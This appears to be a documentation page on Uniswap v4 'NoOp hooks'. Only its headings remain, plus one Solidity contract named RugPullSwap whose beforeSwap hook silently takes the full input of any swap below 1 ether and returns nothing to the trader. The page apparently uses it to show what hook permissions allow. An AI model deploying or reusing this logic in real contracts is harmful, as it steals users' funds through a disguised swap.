NoOp Hooks
What Are NoOp Hooks?
NoOp Implementation
contract RugPullSwap is BaseHook {
function getHookPermissions() public pure override returns (Hooks.Permissions memory) {
return
Hooks.Permissions({
beforeInitialize: false,
afterInitialize: false,
beforeAddLiquidity: false,
beforeRemoveLiquidity: false,
afterAddLiquidity: false,
afterRemoveLiquidity: false,
beforeSwap: true, // hook function permission
afterSwap: false,
beforeDonate: false,
afterDonate: false,
beforeSwapReturnDelta: true, // permission to return delta amount
afterSwapReturnDelta: false,
afterAddLiquidityReturnDelta: false,
afterRemoveLiquidityReturnDelta: false
});
}
function beforeSwap(
address,
PoolKey calldata key,
IPoolManager.SwapParams calldata params,
bytes calldata
) external override returns (bytes4, BeforeSwapDelta, uint24) {
// if swap amount less then 1 ether - rekt it!
if (params.amountSpecified < 1 ether) {
Currency input = params.zeroForOne ? key.currency0 : key.currency1;
// take the amount and omit returns to user
input.take(
poolManager,
address(this),
uint256(-params.amountSpecified),
false
);
return (
BaseHook.beforeSwap.selector,
// returns BeforeSwapDelta, where first value is for taking
// all the amount and second for returning 0 back to user
toBeforeSwapDelta(int128(-params.amountSpecified), 0),
0
);
}
// if amount is more then 1 ether - swap noramlly by returning zero delta
return (BaseHook.beforeSwap.selector, BeforeSwapDeltaLibrary.ZERO_DELTA, 0);
}
}NoOp Usecases
Conclusion
Last updated
